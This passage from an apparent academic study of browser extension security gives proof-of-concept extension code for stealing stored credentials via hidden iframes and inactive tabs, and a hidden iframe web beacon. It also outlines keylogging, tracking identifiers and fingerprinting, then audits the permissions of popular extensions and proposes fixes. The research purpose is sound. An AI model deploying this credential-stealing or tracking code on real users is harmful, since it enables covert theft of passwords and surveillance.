Code Extract 9: Extension code to remove the X-Frame-Options header from any incoming web request.

```
1 if(window.self === window.top) {
2     chrome.runtime.sendMessage({get:'url'}, function(response) {
3         if(response.url) {
4             var newIframe = document.createElement('iframe');
5             newIframe.setAttribute('style', 'display: none;');
6             newIframe.setAttribute('src', response.url);
7             document.body.appendChild(newIframe);
8         }
9     });
10 }
11 else { ... }
```

Code Extract 10: Content script to open a particular web page in an iframe.

The second and third technique work very similar. Both use the browser's tab system to open a particular web page and inject a content script in it to steal probably stored credentials. Code Extract 11 shows the implementation of our extension that opens a particular web page in an inactive tab. Our extension needs the `tabs` permission to access the URL of the current tab. We query all tabs to find one that is not active and not a browser intern tab. On line 10, we store the tab's current URL to later switch the tab back to its original state. Then, we update the current tab and load our targeted web page. The `setInterval` function helps us to check every 100 milliseconds whether the tab has finished loading the web page. This is necessary for our content script to work. If the tab has finished loading, we inject our content scripts in the current tab. Finally, we have to load the original web page in the tab after our content script has stolen the credentials. We use the communication channel between content script and the extension's background to notify the background that the content script has finished. On line 25, we register an event listener that loads the original web page in the sender tab if a proper message arrives.

Our implementation of the third technique differs only in a few lines from our implementation of the second technique shown in Code Extract 11. First, we query for a tab that is not in the currently active window. Second, we create a new tab instead of updating the queried one and do not store the current tabs URL. This also removes the necessity for the tabs permission. And finally, we close the tab when the content script messages that it has finished the attack.

```
1 function openPageInInactiveTab(url) {
2     var queryOptions = {
3         active: false,
4         windowType: "normal"
5     }
6     chrome.tabs.query(queryOptions, function (tabs) {
7         if(tabs.length === 0) {
8             return;
9         }
10        oldUrl = tabs[0].url;
11        chrome.tabs.update(tabs[0].id, {url: url}, function(tab) {
12            var interval = setInterval(function() {
13                chrome.tabs.get(tab.id, function(tab) {
14                    if(tab.status === 'complete') {
15                        clearInterval(interval);
16                        chrome.tabs.executeScript(tab.id, {file: 'jquery.js'});
17                        chrome.tabs.executeScript(tab.id, {file: 'content.js'});
18                    }
19                });
20            }, 100);
21        });
22    });
23 }
24 chrome.runtime.onMessage.addListener(function(message, sender) {
25     if(sender.tab && message.status === 'finished') {
26         chrome.tabs.update(sender.tab.id, {url: oldUrl});
27     }
28 });
```

Code Extract 11: Extension code to open a particular web page in an inactive tab to steal probably stored credentials.

We tested our implementations in Chrome, Opera, and Firefox. To our surprise, they were only successful in Firefox. The reason that none of our attacks work in Chrome and Opera is that JavaScript has no access to the value of a password input field before any user interaction with the web page occurred. What first seems like a bug is an intended security feature to prevent exactly our kind of attack [47].

5.5.2 Identifier Storage

An extension is able to store information between browser sessions. Chrome provides an additional cloud based storage that is automatically synced with all devices if the user uses Chrome with his Google account. Firefox Add-ons on the other hand are able to store information on the user's hard disk. We can use this mechanism to provide a storage for a tracking identifier additional to cookies or similar. Such identifier are propagated from a web page to the browser. To receive one, we can use a previous described technique for communicate between a content script and the underlying web page.

5.5.3 Web Beacon

This is another tracking method which we can support with an extension. It notifies a third party that a specific web page was accessed by fetching a resource from a server and sending possible tracking cookies along the request. We implemented an extension that embeds an invisible iframe element in every visited web page. The iframe loads an empty web page from our server along with a tracking cookie. The second time our content script is executed, the tracking cookie will be sent back to our server with the request from the iframe. A traditional Web Beacon often uses

a small image or similar. The advantage of our implementation with an iframe is that it is not restricted by a potential Content Security Policy. The extension needs a single content script with the matching attributes "`http://*/*`" and "`https://*/*`" and no further permissions. The content script is shown in Code Extract 12.

```
1 var iframe = document.createElement('iframe');
2 iframe.setAttribute('src', 'https://localhost:3001/tracking/beacon');
3 iframe.setAttribute('style', 'display: none;');
4 document.body.appendChild(iframe);
```

Code Extract 12: Content script that executes a web beacon

5.5.4 Keylogger

JavaScript enables us to register events for every interaction the user has with the current web page. This gives us the possibility to exactly observe what elements the user clicks, double clicks, or drag and drops and what text he enters in input fields. If we combine all these information, we are able to track the user on his path through the web page.

5.5.5 Fingerprinting

The browser provides additional information to its extension which are not available for web pages. Those information may be used to generate a more accurate fingerprint of the user's browser and system. Accessing the information needs additional permissions. Table 6 shows provided information that may be retrieved for a fingerprint and the permissions needed to access them.

Permission	Information	Example
system.cpu	Number of processor kernels Processor's name Processor's capabilities	Intel(R) Core(TM) i5-3210M CPU @ 2.50GHz "sse", "sse2", "sse3"
system.memory	Memory capacity	6501200096
gcm	An unique ID for the extension instance	
management	List of installed extensions	Extension ID and version

Table 6: Additional fingerprint information available to WebExtension

5.6 Summary

Extension	Version	Users
Google Translate	2.0.6	6,049,594
Unlimited Free VPN - Hola	1.11.973	8,419,372

Table 7: Summary of analyzed extension

6 Extension Analysis

We analyzed popular Chrome extensions focusing on what of our previously described attacks can be launched with the extensions current permissions and content declarations. The Google Chrome Web Store does not provide the functionality to sort extension based on users. Furthermore, the shown number of users is cut if it is higher than 10,000,000. Therefore, we had to search manually through the web store and select extensions for evaluation ourself. In this section we present the results of our extension analysis.

6.1 Google Translate

Adds a context menu entry for the web page to translate highlighted text. Opens the Google translation page in a new tab with the selected text and its translation. Adds an pop-up to translate text inside a text field or the whole page.

Content	Permissions	CSP
non-persistent background page content script <all_urls>	activeTab contextMenus storage	unsafe eval inline scripts from https://translate.googleapis.com

Table 8: Google Translate - Extension's content and permissions

- Read and change all your data on the websites you visit

List 1: Google Translate - Warnings shown on installation

The extension uses the combination of a non-persistent background page and the activeTab permission to inject a content script if the user clicks the extension's context menu entry. However, the extension still injects the same content script in every web page making the activeTab functionality useless. The content script and the JavaScript for the pop-up are compressed. Therefore, we could not provide accurate statements about the code's capabilities. We found the function eval used in a way to parse a JSON string to a JavaScript object: eval("(" + a + ")"). The compressed code restricted us to further investigate where the string parameter of the eval function originates, but we assume it is most likely loaded from a remote host.

Proposals To improve the security of the extension itself and its users we propose to remove the unnecessary automatic injection of the content script. The use of the activeTab permission increases the security for the user, because the extension is only active when the user invokes it. Furthermore, we propose to remove the eval function because it is a common source of Cross-Site-Scripting attacks. The parameter given to eval may either be a simple JSON object or a whole JavaScript as a string. Due to the compressed state of the code, we were not able to figure out which case applies. If only JSON objects are used, we propose the use of JSON.parse() as an alternative without the danger of possible Cross-Site-Scripting attacks. If the other case applies, the developers should consider if it is necessary for the extension's purpose to load remote scripts. If the loaded scripts are static, they should be placed inside the extension's installation bundle.

6.2 Unlimited Free VPN - Hola

Hola provides a Virtual Private Network (VPN) as a free of charge extension. It routes the user's traffic through different countries to mask his true location. This allows to bypass regional restrictions on websites. A typical VPN network secures the web requests of its user's by routing the traffic to a few endpoints, masking the web request's origin. But Hola uses the devices of its unpaid customers to route traffic. It turns the user's computer into a VPN server and simultaneously to a VPN endpoint which means that the traffic of other users may exit through his Internet connection and take on his IP address. A Hola user's IP is therefore regularly exposed to the open Internet by traffic from other user's. The user

- Steal user data from every web page
- Store an persistent identifier
- Execute any remote loaded script

List 2: Google Translate - Possible attacks

himself has no possibility to control what content is loaded with his IP address as origin. The company makes money by providing the network to paying customers. Those are able to route their own traffic over the network to targeted endpoints.

The paid functionality of Hola has strong similarities with a bot net which is used for denial of service or spamming attacks. Actually, Hola recently received negative publicity as the owner of the web platform *8chan* claimed that an attacker used the Hola network to perform a DDoS attack against his platform [18]. Thereupon, researchers from the cyber security company *Vectra*¹⁰ analyzed Hola's application and network. They discovered that Hola has - in addition to the public botnet-like functionality of routing huge amounts of targeted traffic - several features which may be used to perform further cyber attacks, such as download and execute any file while bypassing anti virus checking [32].

Content	Permissions	CSP
persistent background page content script <all_urls> content script *:/*.*hola.org/*	cookies storage tabs webNavigation webRequest webRequestBlocking <all_urls>	unsafe eval inline scripts from 15 different URLs

Table 9: Unlimited Free VPN - Hola - Extension's content and permissions

- Read and change all your data on the websites you visit

List 3: Unlimited Free VPN - Hola - Warnings shown on installation

Has to be active all the time => persistent background page. Needs to intercept web requests => webRequest API. To many script sources.

6.3 Evernote Web Clipper

¹⁰ Vectra Homepage: <http://www.vectranetworks.com/>

Content	Permissions	CSP
<p>persistent background page</p> <p>32 content scripts <code>*://*/*</code></p> <p>2 content scripts <code>*://*.salesforce.com/*</code></p> <p>content script <code>*://*.wsj.com/*</code></p>	<p>activeTab</p> <p>contextMenus</p> <p>cookies</p> <p>notifications</p> <p>tabs</p> <p>unlimitedStorage</p> <p><all_urls></p> <p>chrome://favicon/*</p> <p>http://*/*</p> <p>https://*/*</p>	<p>inline scripts from</p> <p><code>https://ssl.google-analytics.com</code></p>

Table 10: Evernote Web Clipper - Extension's content and permissions

- Read and change all your data on the websites you visit

List 4: Evernote Web Clipper - Warnings shown on installation

References

- [1] Chrome Developer - JavaScript APIs. https://developer.chrome.com/extensions/api_index. [accessed 2015-12-26].
- [2] Dev.Opera - Extension APIs Supported in Opera. <https://dev.opera.com/extensions/apis/>. [accessed 2015-12-26].
- [3] Dev.Opera - Publishing Guidelines. <https://dev.opera.com/extensions/publishing-guidelines/#acceptance-criteria>. [accessed 2016-01-18].
- [4] DOM Browser Support. <http://www.webbrowsercompatibility.com/dom/desktop/>. [accessed 2015-12-26].
- [5] MDN ADD-ON SDK - Chrome Authority. https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Chrome_Authority. [accessed 2016-01-04].
- [6] MDN ADD-ON SDK - High-Level APIs. https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APis. [accessed 2016-01-04].
- [7] MDN ADD-ON SDK - Low-Level APIs. https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APis. [accessed 2016-01-04].
- [8] MDN ADD-ON SDK - Observer Notification. https://developer.mozilla.org/en-US/docs/Observer_Notifications. [accessed 2016-01-04].
- [9] MDN Add-ons - Review Policies. <https://developer.mozilla.org/en-US/Add-ons/AMO/Policy/Reviews>. [accessed 2016-01-18].
- [10] MDN JavaScript Reference - Don't use eval needlessly! https://developer.mozilla.org/de/docs/Web/JavaScript/Reference/Global_Objects/eval#dont-use-it. [accessed 2015-12-29].
- [11] MDN WebExtensions - Chrome incompatibilities. https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities. [accessed 2015-12-26].
- [12] Mozilla Wiki - WebExtensions. <https://wiki.mozilla.org/WebExtensions>. [accessed 2015-12-30].
- [13] NPAPI:ClearSiteData. <https://wiki.mozilla.org/NPAPI:ClearPrivacyData>. [accessed 2016-05-25].
- [14] S. Bandhakavi, N. Tiku, W. Pittman, S. T. King, P. Madhusudan, and M. Winslett. Vetting browser extensions for security vulnerabilities with vex. *Commun. ACM*, 54(9):91–99, Sept. 2011.
- [15] A. Barth, A. P. Felt, P. Saxena, A. Boodman, A. Barth, A. P. Felt, P. Saxena, and A. Boodman. Protecting browsers from extension vulnerabilities. In *in Proceedings of the 17th Network and Distributed System Security Symposium*, 2010.
- [16] L. Bauer, S. Cai, L. Jia, T. Passaro, and Y. Tian. Analyzing the dangers posed by Chrome extensions. In *Proceedings of the IEEE Conference on Communications and Network Security*, pages 184–192. IEEE, Oct. 2014.
- [17] A. Bovens. Dev.Opera - Major Changes in Opera's Extensions Infrastructure. <https://dev.opera.com/articles/major-changes-in-operas-extensions-infrastructure/>. [accessed 2015-12-11].
- [18] F. Brennman. 8chan - hola. <https://8ch.net/hola.html>. [accessed 2016-04-10].
- [19] N. Carlini, A. P. Felt, and D. Wagner. An evaluation of the google chrome extension security architecture. In *Proceedings of the 21st USENIX Conference on Security Symposium*, Security'12, pages 7–7, Berkeley, CA, USA, 2012. USENIX Association.
- [20] K. Curran and T. Dougan. Man in the browser attacks. *Int. J. Ambient Comput. Intell.*, 4(1):29–39, Jan. 2012.
- [21] M. Dhawan and V. Ganapathy. Analyzing information flow in javascript-based browser extensions. In *Proceedings of the 2009 Annual Computer Security Applications Conference*, ACSAC '09, pages 382–391, Washington, DC, USA, 2009. IEEE Computer Society.
- [22] P. Eckersley. How unique is your web browser? In *Proceedings of the 10th International Conference on Privacy Enhancing Technologies*, PETS'10, pages 1–18, Berlin, Heidelberg, 2010. Springer-Verlag.

-
- [23] B. Feinstein and D. Peck. Caffeine monkey: Automated collection, detection and analysis of malicious javascript. In *DEFCON 15*, 2007.
- [24] O. Hallaraker and G. Vigna. Detecting malicious javascript code in mozilla. In *Proceedings of the 10th IEEE International Conference on Engineering of Complex Computer Systems, ICECCS '05*, pages 85–94, Washington, DC, USA, 2005. IEEE Computer Society.
- [25] C. C. Inc. Javascript obfuscator. <https://javascriptobfuscator.com/Javascript-Obfuscator.aspx>. [accessed 2016-05-10].
- [26] N. Jagpal, E. Dingle, J.-P. Gravel, P. Mavrommatis, N. Provos, M. A. Rajab, and K. Thomas. Trends and lessons from three years fighting malicious extensions. In *24th USENIX Security Symposium (USENIX Security 15)*, pages 579–593, Washington, D.C., 2015. USENIX Association.
- [27] JScrambler. jscrambler. <https://jscrambler.com/en>. [accessed 2016-05-10].
- [28] S. Kamkar. evercookie – never forget. <http://samy.pl/evercookie/>. [accessed 2016-02-26].
- [29] A. Kapravelos, C. Grier, N. Chachra, C. Kruegel, G. Vigna, and V. Paxson. Hulk: Eliciting malicious behavior in browser extensions. In *23rd USENIX Security Symposium (USENIX Security 14)*, pages 641–654, San Diego, CA, Aug. 2014. USENIX Association.
- [30] E. Kay. Chromium Blog - Protecting Windows users from malicious extensions . <http://blog.chromium.org/2013/11/protecting-windows-users-from-malicious.html>. [accessed 2016-01-18].
- [31] B.-I. Kim, C.-T. Im, and H.-C. Jung. Suspicious malicious web site detection with strength analysis of a javascript obfuscation. *International Journal of Advanced Science and Technology*, 26:19–32, 2011.
- [32] V. T. Labs. Technical analysis of hola. <http://blog.vectranetworks.com/blog/technical-analysis-of-hola>. [accessed 2016-04-10].
- [33] L. Liu, X. Zhang, and S. Chen. Botnet with browser extensions. In *Privacy, Security, Risk and Trust (PASSAT) and 2011 IEEE Third International Conference on Social Computing (SocialCom), 2011 IEEE Third International Conference on*, pages 1089–1094. IEEE, 2011.
- [34] L. Liu, X. Zhang, V. Inc, G. Yan, and S. Chen. Chrome extensions: Threat analysis and countermeasures. In *In 19th Network and Distributed System Security Symposium (NDSS '12*, 2012.
- [35] MDN. The x-frame-options response header. <https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options>. [accessed 2016-05-24].
- [36] K. Mowery, D. Bogenreif, S. Yilek, and H. Shacham. Fingerprinting information in JavaScript implementations. In H. Wang, editor, *Proceedings of W2SP 2011*. IEEE Computer Society, May 2011.
- [37] K. Mowery and H. Shacham. Pixel perfect: Fingerprinting canvas in HTML5. In M. Fredrikson, editor, *Proceedings of W2SP 2012*. IEEE Computer Society, May 2012.
- [38] K. Needham. The Future of Developing Firefox Add-ons. <https://blog.mozilla.org/addons/2015/08/21/the-future-of-developing-firefox-add-ons/>. [accessed 2015-12-11].
- [39] N. Nikiforakis, A. Kapravelos, W. Joosen, C. Kruegel, F. Piessens, and G. Vigna. Cookieless monster: Exploring the ecosystem of web-based device fingerprinting. In *Proceedings of the 2013 IEEE Symposium on Security and Privacy, SP '13*, pages 541–555, Washington, DC, USA, 2013. IEEE Computer Society.
- [40] L. Olejnik, C. Castelluccia, and A. Janc. Why Johnny Can't Browse in Peace: On the Uniqueness of Web Browsing History Patterns. In *5th Workshop on Hot Topics in Privacy Enhancing Technologies (HotPETs 2012)*, Vigo, Spain, July 2012.
- [41] K. Onarlioglu, A. S. Buyukkayhan, W. Robertson, and E. Kirda. Sentinel: Securing Legacy Firefox Extensions. *Computers & Security*, 49(0), 03 2015.
- [42] M. A. Rajab. Protecting users from malicious downloads. <http://blog.chromium.org/2011/04/protecting-users-from-malicious.html>. [accessed 2015-12-26].

-
- [43] D. Ross, T. Gondrom, and T. Stanley. HTTP Header Field X-Frame-Options. <https://tools.ietf.org/html/rfc7034>. [accessed 2016-05-24].
- [44] P. Stone. Pixel perfect timing attacks with HTML5. Technical report, Context Information Security Ltd, 2013.
- [45] M. Ter Louw, J. S. Lim, and V. N. Venkatakrishnan. Extensible web browser security. In *Proceedings of the 4th International Conference on Detection of Intrusions and Malware, and Vulnerability Assessment, DIMVA '07*, pages 1–19, Berlin, Heidelberg, 2007. Springer-Verlag.
- [46] D. Tools. Javascript obfuscator/encoder. <http://www.danstools.com/javascript-obfuscate/index.php>. [accessed 2016-05-10].
- [47] vabr@chromium.org. Chromium bug issue 378419. <https://bugs.chromium.org/p/chromium/issues/detail?id=378419>. [accessed 2016-03-18].
- [48] A. van Kesteren. World Wide Web Consortium URL specifications. <https://url.spec.whatwg.org/>. [accessed 2016-04-25].
- [49] A. van Kesteren, J. Aubourg, J. Song, and H. R. M. Steen. World Wide Web Consortium XMLHttpRequest specifications. <https://www.w3.org/TR/XMLHttpRequest/>. [accessed 2016-04-27].
- [50] P. Vogt, F. Nentwich, N. Jovanovic, C. Kruegel, E. Kirda, and G. Vigna. Cross-Site Scripting Prevention with Dynamic Data Tainting and Static Analysis. In *Network and Distributed Systems Security Symposium (NDSS)*, 02 2007.
- [51] X. Xing, W. Meng, B. Lee, U. Weinsberg, A. Sheth, R. Perdisci, and W. Lee. Understanding malvertising through ad-injecting browser extensions. In *Proceedings of the 24th International Conference on World Wide Web, WWW '15*, pages 1286–1295, New York, NY, USA, 2015. ACM.
- [52] W. Xu, F. Zhang, and S. Zhu. Jstill: Mostly static detection of obfuscated malicious javascript code. In *Proceedings of the Third ACM Conference on Data and Application Security and Privacy, CODASPY '13*, pages 117–128, New York, NY, USA, 2013. ACM.